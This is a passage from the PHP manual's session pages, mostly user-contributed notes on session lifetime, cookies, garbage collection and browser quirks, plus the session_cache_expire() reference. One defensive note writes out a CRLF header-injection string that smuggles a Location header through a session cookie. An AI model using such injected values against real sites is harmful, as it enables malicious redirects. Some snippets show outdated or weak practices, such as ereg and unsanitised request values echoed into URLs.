The probabilistic fact is that old sessions will not be erased if the garbage collector is not run frenquently enough, but anyway it is your choice to have a higher or lower "session.gc_probability" on "session.gc_divisor" ratio.

So, talking from the server side point of view, a session can last more than the specified amount of time but not less. And if the client respects the cookies duration (in case of cookie-based sessions) those invalid sessions will not last more than expected.

You finally might want to add a timestamp inside the session and validate its age through it to radically solve the problem, if necessary. Example:

<?php

session_start();

if (!isset($_SESSION['generated']))
    $_SESSION['generated'] = time();
else { // if the session is not allowed to live more, regenerate it
    if (time() - $_SESSION['generated'] > ini_get('session.gc_maxlifetime'))
        $_SESSION = array('generated' => time());
}
?>
g_s_b 27-Apr-2007 08:37
If you try to use your own session handling functions (eg. for saving session data to DB) make sure session.auto_start directive is 0.

The manual warns about not being able to put objects in your sessions with auto_start=1: I guess that for the same reason your customized handling functions are ignored is sessions start automatically.

Hope this saves somebody a few minutes.
skysama at googles_mail dot com 17-Apr-2007 11:56
If your session are not retrieving correctly make sure that session.cookie_secure is to set to 'Off' if you are NOT going through https. Everytime you navigate the site your session data will not be retrieved and your sessionid will change. It may be obvious but I spent two days trying to figuring this out. Hope it helps someone.
Edemilson Lima <pulstar at gmail dot com> 17-Apr-2007 06:17
Sessions and browser's tabs

May you have noticed when you open your website in two or more tabs in Firefox, Opera, IE 7.0 or use 'Control+N' in IE 6.0 to open a new window, it is using the same cookie or is passing the same session id, so the another tab is just a copy of the previous tab. What you do in one will affect the another and vice-versa. Even if you open Firefox again, it will use the same cookie of the previous session. But that is not what you need mostly of time, specially when you want to copy information from one place to another in your web application. This occurs because the default session name is "PHPSESSID" and all tabs will use it. There is a workaround and it rely only on changing the session's name.

Put these lines in the top of your main script (the script that call the subscripts) or on top of each script you have:

<?php
if(version_compare(phpversion(),'4.3.0')>=0) {
    if(!ereg('^SESS[0-9]+$',$_REQUEST['SESSION_NAME'])) {
        $_REQUEST['SESSION_NAME']='SESS'.uniqid('');
    }
    output_add_rewrite_var('SESSION_NAME',$_REQUEST['SESSION_NAME']);
    session_name($_REQUEST['SESSION_NAME']);
}
?>

How it works:

First we compare if the PHP version is at least 4.3.0 (the function output_add_rewrite_var() is not available before this release).

After we check if the SESSION_NAME element in $_REQUEST array is a valid string in the format "SESSIONxxxxx", where xxxxx is an unique id, generated by the script. If SESSION_NAME is not valid (ie. not set yet), we set a value to it.

uniqid('') will generate an unique id for a new session name. It don't need to be too strong like uniqid(rand(),TRUE), because all security rely in the session id, not in the session name. We only need here a different id for each session we open. Even getmypid() is enough to be used for this, but I don't know if this may post a treat to the web server. I don't think so.

output_add_rewrite_var() will add automatically a pair of 'SESSION_NAME=SESSxxxxx' to each link and web form in your website. But to work properly, you will need to add it manually to any header('location') and Javascript code you have, like this:

<?php
header('location: script.php?'.session_name().'='.session_id()
      . '&SESSION_NAME='.session_name());
?>
<input type="image" src="button.gif" onClick="javascript:open_popup('script.php?<?php
echo session_name(); ?>=<?php echo session_id(); ?>&SESSION_NAME=<?php echo session_name(); ?>')" />

The last function, session_name() will define the name of the actual session that the script will use.

So, every link, form, header() and Javascript code will forward the SESSION_NAME value to the next script and it will know which is the session it must use. If none is given, it will generate a new one (and so, create a new session to a new tab).

May you are asking why not use a cookie to pass the SESSION_NAME along with the session id instead. Well, the problem with cookie is that all tabs will share the same cookie to do it, and the sessions will mix anyway. Cookies will work partially if you set them in different paths and each cookie will be available in their own directories. But this will not make sessions in each tab completly separated from each other. Passing the session name through URL via GET and POST is the best way, I think.
Marcin Wiazowski 03-Apr-2007 01:11
'session.cookie_domain' should be set to empty string for all local domain names, not only for 'localhost' (but should not be empty for local IP addresses):

<?php
ini_set('session.cookie_domain', (strpos($_SERVER['HTTP_HOST'],'.') !== false) ? $_SERVER['HTTP_HOST'] : '');
?>
Marce! 22-Dec-2006 12:20
Be careful when using use_trans_sid and javascript together. When adding a form dynamically with javascript, you usually need to put it in quotes and use addslashes() for your html code.
This will nicely put slashes into the code for your form and the javascript will work perfectly. Or so you would think. PHP does recognise the form, even with the slashes added. So it will neatly insert a hidden variable to your form, with the name of your session variable and the value of the session ID. This hidden variable isn't slashed though, and it may break your javascript code.

The only solution I came up with, is to manually add the hidden variable, before applying the addslashes() function. It will then be shown correctly, and PHP will not insert the hidden value. Of course you may get both a cookie and the variable, depending on your settings, but it does work.
robin at amiance dot com 26-Nov-2006 10:19
If you want the simplest way there is to log a session out after 30 minutes (or any other period of inactivity) simply add a second line after session_start(), like this:

<?php
session_start();
setcookie("PHPSESSID",$_COOKIE['PHPSESSID'],time()+1800);
?>

Where 1800 is the time in seconds before the session should expire. PHPSESSID is the default session ID. This way, every time a user loads a page they get their session extended.
nhap24 09-Sep-2006 05:03
I spent about 8 hours debugging a problem with sessions and redirecting, and I finally found the problem, which after looking back, should have been the first thing I tried.

I use sessions to prevent hotlinking, so if someone hotlinks my file, I will redirect them to a different page by re-writing the header information.  When I redirected, I sent path information in the GET data about the file they were trying to access.  Long story short, when I redirected with a forward-slash "/" AFTER the .php, the page would create a different session ID than the rest of my domain was using.  This happened despite the fact that the cookie path was set to "/" (which should have captured any path on my domain).

The issue was even harder to figure out, because the page with the wrong session ID was NOT creating a second cookie.  The only cookie was the one with the proper ID, but the broken page did not use this cookie (where then, did it get this ID from?).

To fix the problem, I simply removed the forward-slash from the GET data (base64_encoding works nicely).

I imagine this is an issue with my browser parsing the url, but I tried both Opera and Firefox (IE doesn't load anymore :/) and both browsers showed the same problem.

I looked into hidden header data, failure to write the cookie, trans_ses_id (even though it was set to false), HTTP_HOST, everything, but in the end it was just a stupid forward-slash that had done me in.
greenthumb at 4point-webdesign dot de 01-Sep-2006 11:56
Similar to the use of captcha images you can easely track and advise user who don't accept cookies, especially no session cookies without redirecting them.

so here's the deal:

if the main script (which outputs the html) doesn't have a value in it's session which says that a session is running successfully a different value is saved in the session and an image is included in the html which checks wether the session-check value is set or not.

If it's set the image-script sets a confirming value which will verify the session to be running correctly and output a transparent 1*1px gif.

If the value is not set the image outputs an advising image which tells to allow cookies.

You can also wrap the image with a link who refers the user  to a page addressing the cookie issue. If the 1px trans is generated the user will hardly find the link, but if the error-image is generated he will surely be able to click it.

pros:
- works
- no rerouting, you can see the result on the first page opened by the user
- no javascript

cons:
- bad accessebility (if you give the image an alt-text any blind user will read it at least on the first call, but you cold also write this into the alt text... so maybe there are no cons)

i hope this'll help
rehevkor5 at fastmail dot fm 25-May-2006 11:34
If you have a value specified for session.referer_check you may run into difficulty when someone accesses your site and attempts to log in with a mis-capitalized URL.  The logon will fail because any calls to session_start() will result in the existing session being trashed and a new one being created.  This becomes a bigger problem when the logon is followed by a header("Location: ...") redirect, because the session_start() at the top of the page will fail.

Because session_start() always returns true, it's not obvious how to detect when the referer check fails.  To detect it, I have come up with a method which compares the intended session id with the session id after session_start() is run.  If they are different, the user is redirected to the proper location.  This example uses a technique to avoid session id fixation, as well.

<?php
ini_set('session.referer_check', 'www.yourdomain.edu/ltr/');
ini_set('session.use_only_cookies', 1);
session_name('yourapp'.str_replace('.', '', $_SERVER['REMOTE_ADDR']));
session_start();
if($_GET['badreferer'])
    echo 'You tried accessing the site with a bad URL. Try logging on again.';
if(isUserAuthed($name, $pass))
{
    $old_sessid = session_id(); //save current session id so we can delete it later
    if( !session_regenerate_id() ) //get a new session id (must do this before destroying the old session)
        die("Couldn't regenerate your session id.");

    $new_sessid = session_id(); //save new session id so we can get back to it

    session_id($old_sessid);
    unset($old_sessid);
    session_destroy(); //destroy the session they got before they logged in

    session_id($new_sessid);
    session_start(); //start the new session

    $_SESSION = array(); //not really necessary any more, but still a good idea

    if(session_id() != $new_sessid)
    {
        /*If this is true, then the session_start() failed to work properly. If session_start() failed to work properly, the most likely cause is that the referer url is different from that set in fuxebox.ini on session.referer_check. The most common cause of this is URL capitalization problems. Therefore, we relocate them to the proper URL, and set a flag to display an error because we can't use pushError() if the session isn't valid. */

        $good_url = ini_get('session.referer_check');
        header('Location: http://'.$good_url.'?badreferer=1');
        exit;
    } else {
        unset($new_sessid);
        //Set session variables here
        $_SESSION['isloggedin'] = 1;

        echo 'You have been logged in.';
    }

}
?>
php AT coryforsyth [removeme] d0t com 08-May-2006 07:14
I just finished a marathon debugging session with sessions, and I wanted to share what I learned with the rest of the PHP community because this has been a problem I've battled on several projects before finally solving it today.

I am using sessions to register a user's ID, and every so often, for no apparent reason, the session would seem to expire and my logged-in user would get kicked out.

This is the code I am using to validate a user:
<?php
session_start();

$auth = false;

if (isset($_SESSION['user_id'])) {
   $user = new User($_SESSION['user_id']);
   $auth = true;
else {
   $login = $_REQUEST['login'];
   $password = $_REQUEST['password'];
   $login = clean($login);
   $password = clean($password);
   // clean() is my own function to escape quotes and so on
   $user = checkLogin($login,$password);
   if (!is_null($user)) {
        $auth = true;
   }
}

if (!$auth) {
   die("you must log in.");
}

// etc etc ... //
?>

I was scratching my head as to why, on about 10% of the times I sent a user to a new page (a PHP page that didn't have any of the sessions stuff--no session_start() and no mention of any session variables), when they came back the session variables were all empty.

I came upon a clue when I used ini_set to change the session.save_path location.  My idea was that maybe the session files in /tmp were being deleted by other users on the system or something.  So I added this line before session_start():
<?php
ini_set('session.save_path',"/path/to/unique/dir/");
?>
I knew no one else was saving their sessions there, so I started logging in to my page and at the same time checking for the creation of new sess_* files.  I noticed that sometimes, especially when I had problems, a second session file (that was empty) would appear.

What I realized was that the URL was changing from www.coryforsyth.com to coryforsyth.com.  When the presence of the WWW changed, PHP thought it was a different session and created an empty one that caused my script to log me out.  If I went to the location bar of my browser and added/removed the WWW (to the way it had been before), all was well and I was still logged in.

An incredibly thorny problem. I hope this post helps someone else fix it, or even better prevent it.  I changed my hosting preferences to automatically add a WWW to my domain if it wasn't typed that way.

thanks,
Cory Forsyth
brady at volchok dot com 17-Apr-2006 12:15
Session locking (concurrency) notes:

As mentioned several times throughout this section on Sessions, the default PHP session model locks a session until the page has finished loading. So if you have two or three frames that load, and each one uses sessions, they will load one at a time. This is so that only one PHP execution context has write access to the session at any one time.

Some people work around this by calling session_write_close() as soon as they've finished writing any data to the $_SESSION - they can continue to read data even after they've called it. The disadvantage to session_write_close() is that your code still will lock on that first call to session_start() on any session'ed page, and that you have to sprinkle session_write_close() everywhere you use sessions, as soon as you can. This is still a very good method, but if your Session access follows some particular patterns, you may have another way which requires less modification of your code.

The idea is that if your session code <b>mostly</b> reads from sessions, and rarely writes to them, then you can allow concurrent access. To prevent completely corrupted session data, we will lock the session's backing store (tmp files usually) while we write to them. This means the session is only locked for the brief instant that we are writing to the backing store. However, this means that if you have two pages loading simultaneously, and both modify the session, the <i>Last One Wins</i>. Whichever one loads first will get its data overwritten by the one that loads second. If this is okay with you, you may continue - otherwise, use the session_write_close method, above.

If you have complicated bits of code that depend on some state in the session, and some state in a database or text file, or something else - again, you may not want to use this method. When you have two simultaneous pages running, you might find that one page runs halfway through, modifying your text file, then the second one runs all the way through, further modifying your text file, then the first one finishes - and your data might be mangled, or completely lost.

So if you're prepared to debug potentially very, very nasty race conditions, and your access patterns for your sessions is read-mostly and write-rarely (and not write-dearly), then you can try the following system.

Copy the example from session_set_save_handler() into your include file, above where you start your sessions. Modify the session write() method:

<?php
function write($id, $sess_data)
{
  global $sess_save_path, $sess_session_name;

  $sess_file = "$sess_save_path/sess_$id";
  if ($fp = @fopen($sess_file, "w")) {
   flock($fp,LOCK_EX);
   $results=fwrite($fp, $sess_data);
   flock($fp,LOCK_UN);
   return($results);
  } else {
   return(false);
  }

}
?>

You will probably also want to add a GC (Garbage Collection) method for the sessions, as well.

And of course, take this advice with a grain of salt - We currently have it running on our testing server, and it seems to work OK there, but people have reported terrible problems with the Shared Memory session handler, and this method may be as unsafe as that.

You can also consider implementing your own locks for scary concurrency-sensitive bits of your code.
Cosmo 01-Apr-2006 04:47
Fairly new to PHP, I've been looking to alter session timeouts on a shared host where I don't have direct access to configure php.ini.  There doesn't appear to be any easy way to find out how to do this in this manual (nor from a quick web search).

The code below seems to work OK to set session timeout.     a timeout of 30 secs is used for convenient testing.  gc settings must come before session_start().

The garbage collection is made 100% by setting probability and divisor to the same value - if I have correctly understood what these functions do.

(on the first pass of the file, there is no session file - that's established only when the script ends for the first time.  Keep reloading to test).

Comments welcome.

<?php
  ini_set('session.gc_maxlifetime',30);
  ini_set('session.gc_probability',1);
  ini_set('session.gc_divisor',1);
    session_start();

// check to see what's happening
$filepath = ini_get('session.save_path').'/sess_'.session_id();

if(file_exists($filepath))
{
    $filetime = filemtime ($filepath);
    $timediff = mktime() - $filetime;
    echo 'session established '.$timediff.' seconds ago<br><br>';
}
?>
crown2gain at yahoo dot com 01-Mar-2006 10:19
I just spent a lot of time trying to figure out why my session variables were not available after I seemed to have set them(could echo after setting).  I use the same script for several different functions, so the user may reload the page for other purposes.  Someone else posted the use of session_write_close();  before a Location redirect.  This also worked in put this after I set the session variables the variables are available when the page reloads for another function.

<?php
$_SESSION['guid'] = $guid;
$_SESSION['userdata'] = $response;
session_write_close();
?>
a l bell at hutchison dot com dot au 28-Feb-2006 03:17
Please Note;

Internet explorer users beware.

When using session_start() to begin a session this session will remain open until the page has finished loading or it is explicitly terminated.

You can lose the session however if the the page contains a reference to <img src=""> with name and id references (which may be used if the image is referencing a dynamic image, called by javascript)  This seems to casue IE6 to refresh the page session id and hence loose the session.

This took hours for me to diagnose when users were getting unexpectedly logged out of my site due to this "" in the img src.
kintar at infinities-within dot net 28-Feb-2006 09:10
Important note that it just took me the better part of two hours to figure out:  Even if you're using session_write_close(), calling exit after a redirect will eat your session variables.  I had the following:

Source of register.php:
<?PHP

// Some files included here

// Process our posted form data
$result = processPost();

if ($result)
{
  redirect('success.php');
}
else
{
  redirect('failure.php');
}

exit;
?>

processPost() was setting a couple of session variables, including an error message, but neither results page was seeing those variables.  I removed the exit call from the register page, and all works fine.

/bonks self
hans at nieser dot net 14-Feb-2006 07:15
FreeBSD users, instead of modifying the PHP5 port Makefile, you can either install the session extension using the www/php5-session port, or you can install several extensions at once (you can pick them from a menu) using the lang/php5-extensions port. Same goes for PHP4
just_somedood at yahoo dot com 01-Feb-2006 09:31
If you're running FreeBSD, and installed php5 (have not checked 4) from the ports, and are getting errors saying the session functions are undefined, try running phpinfo().  You'll probably see that the '--disable-all' configure command was used.  To fix, edit the /usr/ports/lang/php5/Makefile, and remove the '--disable-all' line.  In that directory, run a 'make deinstall', if you installed already.  Next, run 'make install' while still in that same directory.  It should work fine after that.
jerry dot walsh at gmail dot com 24-Jan-2006 06:56
If you're using sharedance to distributed php sessions across a group of machines beware of the following:

On a freebsd 6.x system I have observed a huge performance hit caused by dns/host file lookups.

To ensure maximum performance using sharedance you should set the 'SESSION_HANDLER_HOST' constant to an IP rather than a hostname.

When i did this my requests per second jumped from 55 to 389 requests per second!
jazfresh at hotmail dot com 19-Dec-2005 06:55
The vanilla implementation of session will blindly spew back the value of the session_id that the user sends it after URL decoding it. This can be used as an attack vector, by including strings like "%0D%0ALocation:%20http://someothersite.com/%0D%0A" in the cookie. Never trust user input, always cleanse it. If you only expect alphanumerics in the session hash, reject any session_id that doesn't contain it.

<?php
if(!preg_match('#^[[:alnum:]]+$#', $_COOKIE['session_id'])) {
  unset($_COOKIE['session_id']);
}
session_start();
?>
Bram 19-Nov-2005 08:39
[editors note]
It should be noted that it's highly recommended to store sessions for each virtual host in seperate directories or in a database.
[/editors note]

I just noticed that it's possible to access the same session through multiple apache virtual hosts.
So keep this in mind when using sessions for anything sensitive, and make sure to encrypt the data (using the mcrypt functions for example, when available).
Lachlan Hunt 10-Nov-2005 06:10
> Note:  The arg_separator.output  php.ini directive allows to customize the argument seperator. For full XHTML conformance, specify &amp; there.

Exactly the same rule applies to HTML as well, there is abolutely no reason why this should not be set to &amp; by default.  The only difference is that in XHTML, XML error handling defines that it's a well formedness error.  For HTML, error handling was not so well defined nor sanely implemented and tag soup parsers just accept it, but that doesn't make it right.

arg_separator.output *MUST* be set to either of these if you're outputting either HTML or XML:

arg_separator.output = "&amp;"
arg_separator.output = ";"

http://www.w3.org/QA/2005/04/php-session
christopher dot klein at ecw dot de 23-Oct-2005 11:26
If you have trouble with Internet Explorer 6 and non-working sessions (all session-data is lost after clicking on a link), please look user-hints for setcookie().
You have to add the following line after session_start() to get sessions working:

<?php
  // Initalize session
  session_start();
  // Send modified header
  header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"');
?>
akoma at t3 dot rim dot or dot jp 19-Sep-2005 03:50
If your are using UTF-8, make sure your source
code editor to do not put the BOM mark
(unicode sign) at the top of your source code. so
it is sent before session_start() causing "headers
already sent" message on httpd error log.
fasteddie at byu dot edu not_this_part 16-Aug-2005 08:43
I hope this helps someone:
---PHP SESSIONS NOT WORKING---
My sessions wouldnt ever load from disk. The sessions would start just fine, and a session file would be created and written to disk. (BTW, I'm on a win XP box, Apache 2.0.54, PHP version 5.0.4.) However, next time I loaded the page, the old session would not be used. Instead, a NEW session was created. For me, this happened no matter what computer I was using, whether it was the server (localhost) or a client (remote). A new session was created EVERY TIME I loaded the page.. it was annoying. After a few hours of googling, I gave up and decided to mess around in the php.ini file. I changed this line:
session.cookie_path = /
to this:
session.cookie_path =

Now, php sessions are loaded properly.

I havent tried many things but I think maybe it is because windows needs backslashes (\) instead of forward slashes (/), and if you just leave it blank, it turns out ok.
artistan at cableone dot net 08-Aug-2005 10:29
I rewrote adodb's session management class to work across servers with database managed sessions.  Take a look at http://phplens.com/lens/lensforum/msgs.php?id=13428
Christian Boltz <php-manual at cboltz dot de> 28-Jul-2005 04:33
Another note about session.bug_compat_42 and bug_compat_warn.

[full error message:
    "Your script possibly relies on a session side-effect which existed
    until PHP 4.2.3. Please be advised that the session extension does
    not consider global variables as a source of data, unless
    register_globals is enabled. You can disable this functionality and
    this warning by setting session.bug_compat_42 or
    session.bug_compat_warn to off, respectively."
]

The following short script causes the bug_compat_42 warning to appear.

<?php
  session_start();
  $_SESSION['var'] = NULL;
  $var = "foo";
?>

It took me an hour to find out this :-(  - so I post it here to avoid
that more people need such a long time.

Conclusion and test results:

You'll get this warning if $_SESSION['var'] contains NULL and you assign
anything (except NULL) to the global variable $var.

The warning will _not_ appear:
- if $_SESSION['var'] contains anything else   - or -
- if you don't use a global variable named $var
d43m0n at shaw dot ca 18-Jul-2005 01:19
Hello,

I posted earlyer about a issue/bug with Windows servers handling sessions. If you did not read it, it was based on the fact that if you can use ini_set to re-define the session.save_path to a relitive location. PHP will instead use it as the exact location with out looking at the directory where your script is bein execute, thus to say, the session file is not created, or re-read. This of course only occurs if you use <?php reregister_id() ?>. This function is told to open the requested session file, obtain the varibles, regenerate an id for that session, create the new session file and then send the cookie header to the client, of course I did not create this function, so it may not be in that order.

The following code will generate the error that I speak of, and will not successfully generate the new session id, of course like I said above, this only accours on PHP 5 & 5.0.4 under the Windows Environment.

<?php

  define("_PATH_TMP", "./tmp");
  ini_set('session.save_path', _PATH_TMP);
  session_start();
  $_SESSION['sid']['obsolete'] = session_id();
  session_regenerate_id();
  $_SESSION['sid']['replaced'] = session_id();
  print_r($_SESSION);

?>

(I know that PHP may use defined constants that include '_' characters at the beggining, if it has not already, but I am taking that chance atm...)

This can simply be resolved by using the following code:

<?php
  define("_PATH_TMP", dirname($_SERVER['SCRIPT_FILENAME']) . "/tmp");
  ini_set('session.save_path', _PATH_TMP);
  session_start();
  $_SESSION['sid']['obsolete'] = session_id();
  session_regenerate_id();
  $_SESSION['sid']['replaced'] = session_id();
  print_r($_SESSION);
?>

As you can see it uses the uses the servers environment to assurtain the exact location to the script, then locates the next root directory of it, and then allows you to define the tmp directory.

* Of course, you dont need to use a tmp directory, and this issue only occurse when using subdirectorys, I found that the following works just aswell, but this did not fit my needs!

<?php

  define("_PATH_TMP", "./");
  ini_set('session.save_path', _PATH_TMP);
  session_start();
  $_SESSION['sid']['obsolete'] = session_id();
  session_regenerate_id();
  $_SESSION['sid']['replaced'] = session_id();
  print_r($_SESSION);

?>
nigelf at esp dot co dot uk 16-Jun-2005 04:52
Session data is not available to an object's __destruct method as sessions are closed before the object is 'destroyed'.
Richard [at] postamble [dot] [co] [uk] 13-Jun-2005 07:44
Having to use transparent on a system where trans_sid was not compiled, I came up with the folowing ob_start handler:
<?php
function ob_sid_rewrite($buffer){
    $replacements = array(
        '/<\s*(a|link|script)\s[^>]*(href|src)\s*=\s*"([^"]*)"/',
        '/<\s*(a|link|script)\s[^>]*(href|src)\s*=\s*\'([^\'<>]*)\'/',
        );

   $buffer = preg_replace_callback($replacements, "pa_sid_rewriter", $buffer);

   $buffer = preg_replace('/<form\s[^>]*>/',
        '\0<input type="hidden" name="' . session_name() . '" value="' . session_id() . '"/>', $buffer);

   return $buffer;
}

function pa_sid_rewriter($matches){
    $buf = $matches[0];
    $url = $matches[3];
    $url_orig=$url;
    if ($url[0]=='/' || $url[0]=='#' || preg_match('/^[A-Za-z0-9]*:/', $url))
        return $buf;

    $ses_name = session_name();
    if (strstr($url, "$session_name="))
        return $buf;

    $p = strpos($url, "#");
    $ref = false;
    if($p){
        $ref = substr($url, $p);
        $url = substr($url, 0, $p);
    }
    if (strlen($url)==0)
        return $buf;
    if (!strstr($url, "?"))
        $url.="?";
    else
        $url.="&amp;";
    $url.=session_name() ."=".session_id();
    if($ref)
        $url.=$ret;
    return str_replace($url_orig, $url, $buf);
}
?>

It adds a field to urls and a fake form entry.

You can start the rewrite by doing the folowing at the start of the script:
<?php
function pa_set_trans_sid(){
    if ( defined('SID') ){ // use trans sid as its available
        ini_set("session.use_cookies", "0");
        ini_set("session.use_trans_sid", "true");
        ini_set("url_rewriter.tags", "a=href,area=href,script=src,link=href,"
. "frame=src,input=src,form=fakeentry");
    }else{
        ob_start('ob_sid_rewrite');
    }
}
?>
trev at beammeupnowplease dot com 03-Jan-2005 08:09
You can't turn off session.use_trans_sid on an individual script basis until PHP5.

However, if you use ini_set('url_rewriter.tags', ''); at the top of your script this will stop the SID being written to the URL's in PHP4.

Hopefully will save someone else a frustrating couple of hours.

Trev
Michael Wells 22-Nov-2004 09:04
If you are trying to share sessions across a cluster of servers, and don't want to use NFS, or a relatively heavy and slow RDBMS, there is an excellent tool called ShareDance that can do it over a simple TCP protocol. ShareDance comes complete with a PHP interface example and works 'out of the box' for me.

http://sharedance.pureftpd.org/

My thanks to Frank Denis for writing this elegant, valuable piece of software.
Dopey 02-Sep-2004 11:06
Be careful when using the Content-Length header with session.use_trans_sid enabled. Technically, it might not be a bug, but PHP does not update the header when it adds the session ID to links in a page. The result is that only partial content is shown in a browser.

In short: if you use ob_get_length to figure out Content-Length, turn session.use_trans_sid off!
schulze at telstra dot com dot not dot this dot bit 06-Jun-2004 04:10
sessions not sticking and cookies not setting with IE? took me ages to find the problem.

you need a 'compact privacy policy'! it's not hard once you know how!

this was too much for me: http://www.w3.org/TR/P3P/

but http://www.sitepoint.com/article/p3p-cookies-ie6/2 is very easy to apply

and a visit to this site is very worthwhile: http://www.privacycouncil.com/freep3pfix.php

happy PHP to all!

Erich
Afternoon 04-May-2004 12:28
I found a good solution to create a persistent session by storing a persistence flag, ironically, in the session itelf. I start the session (which sends a Set-Cookie with no expiry time), read the flag and then, if the user wants a persistent session, stop and restart the session with the expiry time set using session_set_cookie_params, which then sends a cookie with a good expiry time. This solution has been quickly tested with all major browsers and seems to work.

I have outlined the whole process in my blog: http://aftnn.org/journal/508
pautzomat at web dot de 19-Nov-2003 12:05
Be aware of the fact that absolute URLs are NOT automatically rewritten to contain the SID.

Of course, it says so in the documentation ('Passing the Session Id') and of course it makes perfectly sense to have that restriction, but here's what happened to me:
I have been using sessions for quite a while without problems. When I used a global configuration file to be included in all my scripts, it contained a line like this:

$sHomeDirectory = 'http://my.server.com/one/of/my/projects'

which was used to make sure that all automatically generated links had the right prefix (just like $cfg['PmaAbsoluteUri'] works in phpMyAdmin). After introducing that variable, no link would pass the SID anymore, causing every script to return to the login page. It took me hours (!!) to recognize that this wasn't a bug in my code or some misconfiguration in php.ini and then still some more time to find out what it was. The above restriction had completely slipped from my mind (if it ever was there...)

Skipping the 'http:' did the job.

OK, it was my own mistake, of course, but it just shows you how easily one can sabotage his own work for hours... Just don't do it ;)
ricmarques at spamcop dot net 15-Oct-2000 05:16
Regarding session.cache_limiter :

For those of you who - like me - had trouble finding the meaning of the possible values (nocache, public and private), here's the explaination taken from the HTTP 1.1 Specification at
http://www.w3.org/Protocols/rfc2068/rfc2068

"14.9.1 What is Cachable

[snip]

public
  Indicates that the response is cachable by any cache, even if it would normally be non-cachable or cachable only within a non-shared cache. (See also Authorization, section 14.8, for additional details.)

private
  Indicates that all or part of the response message is intended for a  single user and MUST NOT be cached by a shared cache. This allows an origin server to state that the specified parts of the response are intended for only one user and are not a valid response for requests by other users. A private (non-shared) cache may cache the response.

  Note: This usage of the word private only controls where the response may be cached, and cannot ensure the privacy of the message content.

no-cache
  Indicates that all or part of the response message MUST NOT be cached anywhere. This allows an origin server to prevent caching even by caches that have been configured to return stale responses to client requests.

  Note: Most HTTP/1.0 caches will not recognize or obey this directive."
shanemayer42 at yahoo dot com 19-Aug-2000 07:11
Session Garbage Collection Observation:

It appears that session file garbage collection occurs AFTER the current session is loaded.

This means that:
even if session.gc_maxlifetime = 1 second,
if someone starts a session A and no one starts a session for an hour,  that person can reconnect to session A and all of their previous session values will be available (That is, session A will not be cleaned up even though it is older than gc_maxlifetime).
Sessions and security
session_cache_expire
Sessions


Return current cache expire

Session Functions
session_cache_limiter
Session Functions
PHP Manual

session_cache_expire

(PHP 4 >= 4.2.0, PHP 5)

session_cache_expire — Return current cache expire

Description

int session_cache_expire ([ string $new_cache_expire ] )

session_cache_expire() returns the current setting of session.cache_expire.

The cache expire is reset to the default value of 180 stored in session.cache_expire at request startup time. Thus, you need to call session_cache_expire() for every request (and before session_start() is called).

Parameters

new_cache_expire

If new_cache_expire is given, the current cache expire is replaced with new_cache_expire.

Note: Setting new_cache_expire is of value only, if session.cache_limiter is set to a value different from nocache.

Return Values

Returns the current setting of session.cache_expire. The value returned should be read in minutes, defaults to 180.

Examples

Example #1 session_cache_expire() example

<?php

/* set the cache limiter to 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

/* set the cache expire to 30 minutes */
session_cache_expire(30);
$cache_expire = session_cache_expire();

/* start the session */

session_start();

echo "The cache limiter is now set to $cache_limiter<br />";
echo "The cached session pages expire after $cache_expire minutes";
?>

See Also

  • session.cache_expire
  • session.cache_limiter
  • session_cache_limiter() - Get and/or set the current cache limiter

User Contributed Notes

karel at narfum dot org 27-Apr-2011 02:33
What most people also don't know, is that most Linux distributions (Debian and Ubuntu for me atleast) have a cronbjob that cleans up your session dir using the value set in the global /etc/php5/php.ini (which defaults to 24mins). So even if you set a value larger in your scripts, the cronbjob will still cleanup sessions using the global value.

If you run into that situation, you can set the global value higher in /etc/php5/php.ini, disable the cronjob or even better, do your own session cleanup in a non-systemwide directory or a database.
Anonymous 20-Feb-2008 08:50
The manual probably doesn't stress this enough:

** This has nothing to do with lifetime of a session **

Whatever you set this setting to, it won't change how long sessions live on your server.

This only changes HTTP cache expiration time (Expires: and Cache-Control: max-age headers), which advise browser for how long it can keep pages cached in user's cache without having to reload them from the server.
info at ericbontenbal dot nl 08-Aug-2006 12:34
you can change the max lifetime for a session with the function ini_set().

<?php
ini_set("session.gc_maxlifetime", "18000");
?>
This will set the max lifetime of the script to 5 hours. You have to use this in every script that you want to change the default lifetime for.

if you want to know the lifetime of your current script, you can use:

<?php
echo ini_get("session.gc_maxlifetime");
?>
lukasz at pilorz dot net 20-Nov-2005 05:49
I had a problem with session expiration time on a server where I didn't have access to php.ini. My solution was to use session_save_path with my own dir.
djmaze (AT) dragonflycms 23-Sep-2005 07:21
After recieving a "bogus" mark on a bug report i've tried to find out the differences between cache_expire and what was causing a session delete after 24 minutes.

cache_expire is used for cached session pages and has nothing to do with the session data

The garbage collector controls the session data and destroys sessions which are older then 1440 seconds (24 minutes) by default.

So to keep a session alive longer then 24 minutes (for example when a visitor tries to POST a huge message that took him 1 hour to type), you must modify the session.gc_maxlifetime thru ini_set()

Somehow i couldn't find anything in the PHP documentation regarding this and due to that me (and i think many others) got the wrong ideas regarding PHP sessions.
A few examples to fix session timeout are already posted below but in my opinion they all missed session.gc_maxlifetime
lance_rushing at hotmail dot com 17-Jun-2005 02:47
I've encountered the same problem of loosing focus when using IE and a javascript window.location.refresh/replace().

After fusing around I found that a <meta http-equiv="refresh" content="600"> works without move the focus on the parent frame's form.  The down side is loading up the browser history and an annoying 'click' in IE on the page load.
bermi·ferrer·[·at·]·akelos·[NO·SPAM]·com 03-Jun-2004 01:11
Hello,
Some of my customers asked me for a solution form their session not to expire when filling large forms. Sometimes it takes them more than 2 hours to submit (phone, desk customers...).
I know I could have forced an ilayer to be refreshed dynamically and then include PHP code using session_cache_expire() function, but this refreshing a page changes the form focus. So I found this the only solution for them not to loose focus over their form element.

You can make a session not to expire by using this code.
Its a mixture of PHP and JavaScript and can be used on the same page were your code goes or it can be called using an ilayer/iframe from your page.

I know this is not the best practice, but in some cases were user has no control over server globals and security is not important this can help.

Here is the code.

<?

//First of all we prevent browsers from caching the image
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

//This piece of code returns a blank gif
if($_GET[img] > 0){
    header('Content-Type: image/gif');
    header("Content-Disposition: inline; filename=".time().".gif");
    echo base64_decode(str_replace("\n","","
R0lGODlhAQABAPcAAAAAAAAAQAAAgAAA/
wAgAAAgQAAggAAg/wBAAABAQABAgABA/
wBgAABgQABggABg/wCAAACAQACAgACA/
